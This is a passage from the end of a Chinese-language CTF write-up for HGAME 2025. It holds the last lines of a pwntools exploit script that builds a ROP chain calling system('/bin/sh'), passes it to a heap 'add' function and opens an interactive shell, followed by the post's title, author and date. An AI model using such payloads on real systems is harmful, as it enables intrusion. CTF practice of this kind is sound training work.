payload = flat(rdi, bin_sh, ret, system)
107
add(666,b"ZZZZ",0x100,payload)
108
109
110
ia()
本文标题:2025 HGAME writeup
文章作者:sysNow
发布时间:2025-02-23